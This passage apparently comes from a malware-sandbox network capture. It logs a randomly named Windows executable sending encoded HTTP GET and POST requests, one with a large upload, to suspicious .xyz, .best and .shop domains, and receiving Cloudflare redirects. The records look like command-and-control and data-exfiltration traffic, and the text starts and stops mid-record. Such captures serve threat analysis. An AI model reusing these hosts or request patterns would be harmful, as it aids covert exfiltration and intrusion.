Aug 27, 2024 07:59:06.795697927 CEST	1289	OUT	Data Raw: 74 33 4a 65 31 39 6f 71 46 69 2f 2b 6e 49 41 56 78 63 4a 72 47 6d 44 68 2f 4b 53 46 45 52 71 49 4d 50 62 4a 71 79 50 4e 44 6e 63 5a 32 39 31 52 4b 47 46 74 30 75 4c 6c 65 71 46 53 49 66 59 59 7a 70 38 2f 6f 46 70 4c 4d 55 49 66 70 73 4d 36 68 47 Data Ascii: t3Je19oqFi/+nIAVxcJrGmDh/KSFERqIMPbJqyPNDncZ291RKGFt0uLleqFSIfYYzp8/oFpLMUIfpsM6hGhnWMVa7rbL7KXeDMvGZCtI1Wuo0mYK9s3z16aOCoJYPNKy9wdsAdd4InKLE5OB5hdu5M8TpovnK2RDf2bG1EHzY/6Zmg71tNl94jynaYgtijAwiOWiQAQSTe11IxkZDPCvndXGIN3TQJivJbMdBjx/WccSVhevZG5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49853	23.231.158.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:09.322065115 CEST	544	OUT	GET /s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49854	172.67.191.241	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:14.967185020 CEST	835	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 5a 4c 47 52 55 37 41 54 33 49 73 59 75 2b 66 74 77 56 57 75 6c 52 57 61 46 62 47 4e 33 42 6b 63 4d 6d 47 30 32 30 39 4a 2f 37 79 4e 57 37 46 6f 58 4e 42 56 36 51 30 6d 4c 39 57 67 64 77 2b 56 4c 33 32 65 49 4d 71 48 38 4b 72 38 4e 65 65 31 58 48 59 32 4a 6d 79 67 6c 32 59 43 4f 50 4a 76 63 7a 71 72 6f 76 71 64 44 6d 5a 73 35 56 61 6d 4e 31 38 45 39 39 51 34 37 55 48 44 56 72 4b 44 53 4d 5a 49 31 55 51 58 63 50 6b 72 52 74 58 6a 66 2b 51 42 65 6b 44 75 71 71 6a 58 46 42 62 4b 2b 43 61 32 36 39 6b 52 45 65 30 53 4c 45 41 4d 49 45 43 45 36 41 3d 3d Data Ascii: ij60MtY=sROdxZs/CdFUZLGRU7AT3IsYu+ftwVWulRWaFbGN3BkcMmG0209J/7yNW7FoXNBV6Q0mL9Wgdw+VL32eIMqH8Kr8Nee1XHY2Jmygl2YCOPJvczqrovqdDmZs5VamN18E99Q47UHDVrKDSMZI1UQXcPkrRtXjf+QBekDuqqjXFBbK+Ca269kREe0SLEAMIECE6A==
Aug 27, 2024 07:59:15.080246925 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 05:59:15 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 06:59:15 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U6jDnhQojZdvarxqWgltmUV0LMN2RfsS%2FxUOHvTEAvsMOGs97OecMfmUGFgQXCN68gb80MSJXiG1hfqYCUmSIhYHzvoSsw4VQgJE76SIMlbiSQPl8La594aXHoO7iqiyYojBtb10wm3h%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99d59ee9d75728-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49855	172.67.191.241	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:17.597347021 CEST	1175	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 59 71 32 52 58 61 41 54 78 6f 73 5a 77 75 66 74 2b 31 57 71 6c 52 61 61 46 66 65 64 33 54 77 63 4d 44 69 30 33 31 39 4a 36 37 79 4e 65 62 46 68 4b 64 42 65 36 51 34 41 4c 39 71 67 64 77 71 56 4c 41 32 65 4f 38 71 45 30 71 71 4f 4b 65 65 32 41 58 59 38 4a 6d 2b 53 6c 30 6b 43 4f 38 4e 76 64 78 53 72 73 37 2b 65 56 32 5a 71 6f 31 61 6c 57 6c 38 65 39 39 55 4b 37 57 58 35 57 59 57 44 53 73 35 49 30 55 51 55 48 76 6b 67 59 4e 57 74 61 66 52 6b 66 48 33 36 6b 73 37 4b 45 6a 6a 6c 31 68 75 30 7a 75 51 4b 53 72 38 77 4b 58 68 67 48 58 48 33 74 4e 6c 7a 6e 61 34 4b 32 54 6b 78 66 51 57 2f 6e 69 2f 65 32 48 4a 45 79 2b 79 53 6f 52 75 2f 44 38 6a 54 75 34 65 75 33 48 75 35 68 7a 6d 57 58 67 36 6b 38 30 55 52 63 6e 59 64 44 65 71 56 38 46 42 6e 50 74 33 68 78 7a 76 55 65 2f 37 76 30 6e 52 33 34 70 71 42 49 31 77 33 70 76 4b 62 2b 36 74 62 7a 55 77 77 42 35 61 39 47 77 4e 32 42 6d 76 6c 78 68 54 4f 32 49 54 41 42 4f 5a 4e 79 4d 6e 2b 42 43 6e 33 6d 75 [TRUNCATED] Data Ascii: ij60MtY=sROdxZs/CdFUYq2RXaATxosZwuft+1WqlRaaFfed3TwcMDi0319J67yNebFhKdBe6Q4AL9qgdwqVLA2eO8qE0qqOKee2AXY8Jm+Sl0kCO8NvdxSrs7+eV2Zqo1alWl8e99UK7WX5WYWDSs5I0UQUHvkgYNWtafRkfH36ks7KEjjl1hu0zuQKSr8wKXhgHXH3tNlzna4K2TkxfQW/ni/e2HJEy+ySoRu/D8jTu4eu3Hu5hzmWXg6k80URcnYdDeqV8FBnPt3hxzvUe/7v0nR34pqBI1w3pvKb+6tbzUwwB5a9GwN2BmvlxhTO2ITABOZNyMn+BCn3muKjXLca6BuBA3fcr1XjznpJsD2WBQZzH+QMReya0qQxk9X7gzME43XF+e8CEl2AV6vFzLy2CKywjt/+RKuJuvE+wuWvt1Hw7ejkGGwFQdA1uHI8JVyZzUhYGjb+JCl9WUKBP+7wGV4JZuH0r8fCp5X9dKTUnqhDrx8hf7GLVQiw0dhr0gr9lAPzeIVynpIZXo8+aFkhMpcOSjQ=
Aug 27, 2024 07:59:17.714504004 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 05:59:17 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 06:59:17 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R1sK7%2B9YLzBcOrZHiUyJhu%2FxMuIpCLsDFh9U9Lc2RRe7WUR4SYPCPf8xFwhsojgsCil1OnpiI7vPPzc%2FydCtUt%2BUdBAIkpNeuuNkCAmWznLHW4h73work7alkMIEvztMHkxmUaw1UMETog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99d5af5d5bc5a1-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49856	172.67.191.241	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:20.236553907 CEST	1289	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 59 71 32 52 58 61 41 54 78 6f 73 5a 77 75 66 74 2b 31 57 71 6c 52 61 61 46 66 65 64 33 53 49 63 50 77 61 30 33 57 6c 4a 35 37 79 4e 55 37 46 73 4b 64 42 35 36 55 55 45 4c 39 6d 57 64 79 53 56 4b 54 2b 65 4f 4f 79 45 68 61 72 70 55 4f 65 30 58 48 59 53 4a 6d 7a 54 6c 30 77 34 4f 50 52 76 63 78 69 72 70 4a 57 64 57 6d 5a 73 6f 31 61 70 41 56 38 38 39 39 59 61 37 57 62 35 57 62 79 44 44 50 42 49 32 44 6b 55 64 50 6b 6e 58 74 57 32 4d 76 52 4e 66 48 6a 41 6b 73 37 38 45 69 58 6c 31 6a 6d 30 79 76 51 4a 54 4c 38 77 44 33 68 6a 4e 48 62 7a 74 4d 4e 72 6e 62 63 4b 32 51 6b 78 5a 41 57 2f 73 6e 54 52 6d 33 4a 43 6b 4f 79 4a 73 52 69 4a 44 2f 66 6d 75 36 53 75 32 33 4b 35 67 43 6d 57 51 46 57 6b 2b 55 55 58 42 58 59 4b 49 2b 71 4a 38 46 78 52 50 73 62 75 78 31 76 55 59 65 62 76 69 32 52 30 2b 4a 71 48 52 46 77 75 74 76 48 61 2b 36 64 48 7a 55 78 39 42 34 65 39 47 44 46 32 43 6e 76 69 32 78 54 56 35 6f 54 4f 4c 75 6c 48 79 4d 72 6d 42 44 75 6f 6d 73 [TRUNCATED] Data Ascii: ij60MtY=sROdxZs/CdFUYq2RXaATxosZwuft+1WqlRaaFfed3SIcPwa03WlJ57yNU7FsKdB56UUEL9mWdySVKT+eOOyEharpUOe0XHYSJmzTl0w4OPRvcxirpJWdWmZso1apAV8899Ya7Wb5WbyDDPBI2DkUdPknXtW2MvRNfHjAks78EiXl1jm0yvQJTL8wD3hjNHbztMNrnbcK2QkxZAW/snTRm3JCkOyJsRiJD/fmu6Su23K5gCmWQFWk+UUXBXYKI+qJ8FxRPsbux1vUYebvi2R0+JqHRFwutvHa+6dHzUx9B4e9GDF2Cnvi2xTV5oTOLulHyMrmBDuomsmjWrca8iGGZXfhgVXx8HpnsDygBV5FHOsMfOiajqQ+idX/pTMO83XF+exlElKAVI/Fy7i2Hbywht/8RKucuv47wueBt1Wl7cPkGUIFRpU0lnI9NVzZ508QGi32JCUIWkmBO+rwCV4KP+Hz8MfYt5bpdKPqnqUEryshPO6RGUTvvL53/grakBjjRq8J2aoxeMY6aFxsXthKEn2CYmQNVho+eupBW/PVWLaXYkHGcW5BQJqvhoF/jASUG14xRJESd7vLHrbN03HCy6oM/UT21J9Pzs0ItP83e0qCFl+xbrXCdi/MOF4u9EWnyAPyjySw
Aug 27, 2024 07:59:20.236601114 CEST	1289	OUT	Data Raw: 67 30 6b 69 62 51 33 4b 39 51 53 37 4d 6d 49 4f 47 50 2f 4c 61 4f 41 7a 61 34 52 51 77 6c 61 6a 76 70 6b 32 48 32 63 6a 66 68 39 4d 78 47 34 74 73 59 49 65 6a 52 65 30 55 48 42 74 33 6f 47 34 4b 45 71 65 51 38 71 42 32 6a 47 74 73 4b 75 78 31 79 Data Ascii: g0kibQ3K9QS7MmIOGP/LaOAza4RQwlajvpk2H2cjfh9MxG4tsYIejRe0UHBt3oG4KEqeQ8qB2jGtsKux1yXm7CqmJppY9cwfwhKLvlHf5xGDQXyy+LC0Cl7yYMedYCeXY/OXl0D046JeLYf/iXKLm7pJJHudPuKFfxWFe8IQFcASJqTsVWq7vfjA0pd+VPteldpEhmNG3IX2yGEHR4xPgVE7m5fxNiqVXOAdr3tHfKFSVy5scsL
Aug 27, 2024 07:59:20.236653090 CEST	10312	OUT	Data Raw: 4c 49 55 43 45 34 31 45 67 58 4f 67 49 59 59 4b 6e 37 32 32 66 75 30 63 6e 68 31 72 57 68 70 69 67 68 74 67 75 50 70 4c 52 4e 51 76 71 64 4a 4b 64 6b 48 41 53 4a 76 79 39 6a 6c 55 65 4a 32 65 6e 62 68 33 44 6e 79 57 32 75 46 6a 6d 31 78 47 37 37 Data Ascii: LIUCE41EgXOgIYYKn722fu0cnh1rWhpightguPpLRNQvqdJKdkHASJvy9jlUeJ2enbh3DnyW2uFjm1xG77O+NdCsiqgYlo4502REh3/1MyGvHdXICtWQJj8XS5YGhRnyBb/g3pzi1TFoPA6LrwFN7bav9H0lmgyLDY/LuUvkGldiq8WXNbwn05G5ZyasqnBdzVIXM5ADIZLiU2QrGiE0zXH18fjtV/k4XeGVTlE9pP/njGJC22R
Aug 27, 2024 07:59:20.337133884 CEST	2578	OUT	Data Raw: 63 53 6f 77 2b 56 74 53 75 51 72 56 47 65 46 2b 6e 32 79 78 38 39 36 57 64 64 56 67 73 76 77 6f 33 5a 75 36 46 47 6e 66 76 71 74 31 4d 55 7a 30 2b 6c 65 6b 54 50 59 49 56 6a 7a 6b 37 38 74 55 72 70 32 57 4b 76 6d 64 57 4a 30 33 6f 4a 4a 46 73 45 Data Ascii: cSow+VtSuQrVGeF+n2yx896WddVgsvwo3Zu6FGnfvqt1MUz0+lekTPYIVjzk78tUrp2WKvmdWJ03oJJFsE/lbGBSScZBZbnadenmGtEpz0KnmL5szzSMcXOmzeOO4HwVSL0KwD9EPruaqOEDHmvR99CcSouFEi1aSpLIh2fm4M4oufviDvfhZvIQgnyQyXaPiGuUdOh2ZPypZn3QAvJS397VVlhE13B9vKCmI+aci/2FQRPwaoU
Aug 27, 2024 07:59:20.337284088 CEST	1289	OUT	Data Raw: 4e 53 53 74 73 43 74 6c 66 78 34 4f 38 72 53 4f 77 5a 31 6e 6c 66 72 78 37 46 59 69 7a 38 63 57 57 36 6a 57 32 74 2f 7a 62 6a 4e 4f 69 35 45 6e 68 33 61 41 79 66 32 46 42 57 43 43 4e 7a 44 67 50 41 63 45 77 58 42 4b 76 36 78 37 6a 61 43 78 31 58 Data Ascii: NSStsCtlfx4O8rSOwZ1nlfrx7FYiz8cWW6jW2t/zbjNOi5Enh3aAyf2FBWCCNzDgPAcEwXBKv6x7jaCx1Xm/+CMFfAjvihkrr0YV4Xqnqti1ChpGuFKdhVl5xVtp7sbJ/FGcyVxvLJWktAJb3QFEfb4BrMwyQ9i/HZl2mfgD85dgJ/hmjmJxcJ2sqp1YMbh2g4TIJPNEC2S/ti2sHvU0/Ejx70OJJEDwxP73sgdyRm8ARx2+BqM
Aug 27, 2024 07:59:20.337455034 CEST	3867	OUT	Data Raw: 41 78 6b 51 4b 49 78 4c 33 4a 34 55 65 68 71 55 67 66 59 5a 41 78 43 4b 36 6d 55 75 77 30 4d 33 49 4a 30 6f 4b 37 6f 4b 52 4a 70 4c 49 4e 64 54 58 47 61 41 69 33 76 44 4a 49 6a 57 7a 6f 58 6e 67 4f 4b 66 45 4c 44 57 62 77 51 48 75 76 33 49 6f 42 Data Ascii: AxkQKIxL3J4UehqUgfYZAxCK6mUuw0M3IJ0oK7oKRJpLINdTXGaAi3vDJIjWzoXngOKfELDWbwQHuv3IoBFNCKCntunWML9lz4RIrGKpJk3viZg/Qd3xSKaFGSmfqN1yFchbZLwwg7xdf0rmNdWd5A1HVwva4AUCVhylMgHZiBHqIsMKywUq2IMbie2KwNJ3/PPQ076bKIPm0ph4ECeSHkSie6tVo051TnE1+4Zm9rMbDPpEBRv
Aug 27, 2024 07:59:20.337625027 CEST	5156	OUT	Data Raw: 69 59 59 69 61 30 5a 6b 6c 44 58 71 70 6f 64 2b 55 64 4a 62 6f 67 77 58 32 30 62 61 6b 6a 77 56 53 43 79 50 5a 70 2b 63 64 4e 30 63 4e 49 66 36 5a 58 66 76 74 57 31 37 75 61 52 4c 53 76 49 75 53 70 41 6f 79 4c 57 35 58 48 48 51 78 48 64 44 51 72 Data Ascii: iYYia0ZklDXqpod+UdJbogwX20bakjwVSCyPZp+cdN0cNIf6ZXfvtW17uaRLSvIuSpAoyLW5XHHQxHdDQr7fxDS1FY92ajp4mpYRD1zJHMv1Ljr7F3yT5vCtfyBXkcMem96YfWzSDpRw4hHmJleMRbxFV/aHOTV/6lBnbzSu64PGaYsGt6LCjtkW3zilt8o1aZmDTmDOj6AptjPiLLCSkuNBIt+DtGpQZoS9viELU1eBaHlJT07
Aug 27, 2024 07:59:20.337799072 CEST	10312	OUT	Data Raw: 30 75 6b 74 76 6a 46 51 32 38 4a 42 68 7a 38 33 59 4a 69 33 31 72 45 79 68 53 45 72 50 39 39 76 67 33 6c 70 2b 6c 33 47 70 76 42 36 52 51 78 47 53 48 64 39 71 54 56 76 74 47 4b 58 2f 4e 6d 4a 54 33 6d 59 51 30 38 6a 6a 49 64 4b 6e 66 45 63 78 33 Data Ascii: 0uktvjFQ28JBhz83YJi31rEyhSErP99vg3lp+l3GpvB6RQxGSHd9qTVvtGKX/NmJT3mYQ08jjIdKnfEcx3EiA3Tg336G7/c/SVAzpk2cwqqIxppXBdAFeiXOK+ov5drgYAXMKKbK/hp+sFtiAHGoP1/Zsqri0ypLNQLlFso9R+4jHrWw8D/A4P4YoGj6jTlu7X2JGSE88JRV8RsbMhjwkTSN0W90TCeDkXBMs4MHOZ1xIrXIiYv
Aug 27, 2024 07:59:20.337987900 CEST	2578	OUT	Data Raw: 56 38 34 76 6a 36 41 53 6f 42 46 54 55 30 71 67 73 58 42 35 4c 43 73 32 61 72 61 35 52 66 6f 55 4a 44 4b 4e 75 37 5a 48 77 46 46 49 64 44 67 47 6d 57 70 32 43 56 44 50 4b 4e 36 4f 55 48 31 73 31 4b 63 2f 56 49 50 74 38 30 77 36 44 49 55 68 2b 6b Data Ascii: V84vj6ASoBFTU0qgsXB5LCs2ara5RfoUJDKNu7ZHwFFIdDgGmWp2CVDPKN6OUH1s1Kc/VIPt80w6DIUh+kIotdtNSLdcbY0NoRy1mCLCHcOVaMaAnv0R4CGdUfyOIEjNNdbjlx394hfDpVPb2XHe4jDrrBlrgQTwBlKYUcCQTQVsF0ODwBfSc21OHs/tXfjihLwWo8ScKjPCG8vOCdfh6V+Tp4FeYtC0b0njQyUtxMB+nAcu/b4
Aug 27, 2024 07:59:20.351413012 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 05:59:20 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 06:59:20 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jCKk1nnDbvdpS19%2F%2FbMfTs92mCPUa2nrVQjD5Grc%2FupYJHzy4LWbRSxMx7hyQ7860XGWleobzltx2qLMSSQ9wWKB5lHZHeYdX23UPJcuGkZhtB4ZOlnSUkf23fdb%2FqkJtdLt4WnHIaplzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99d5bfcd10690c-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49857	172.67.191.241	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:22.873028994 CEST	553	OUT	GET /fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:59:22.989088058 CEST	979	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 05:59:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 06:59:22 GMT Location: https://www.cachsoicautdtc.best/fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxosQdTKMOWHY81giBzW83%2BRUuh7HAZzQKyS353OtKTIwlO5dloKpgDiluPBqbV57GbsQSmuRwYHJoCuyWcNCeHrszL507sIVIufvcVvaDL4tDYdAyWvU9L3Gmj7MHZ5SOJRwIbbga0B%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99d5d04cb52d1c-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49858	172.67.166.145	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:28.217051983 CEST	832	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 79 58 63 43 43 36 43 46 6a 6c 33 79 42 2b 62 4c 31 71 66 4d 6c 59 6e 4a 72 37 6b 6c 31 4d 47 76 5a 6f 2f 4b 7a 33 62 4e 73 6d 6b 36 6c 43 33 70 2f 4c 74 41 54 69 46 73 38 4d 6b 73 4b 7a 58 72 77 67 56 58 61 48 50 34 32 45 58 4e 5a 6d 48 34 4e 2f 7a 31 53 55 70 52 41 75 4e 65 69 6a 75 67 6c 37 42 58 6b 79 64 59 57 73 4a 72 46 46 7a 64 64 54 30 42 59 7a 66 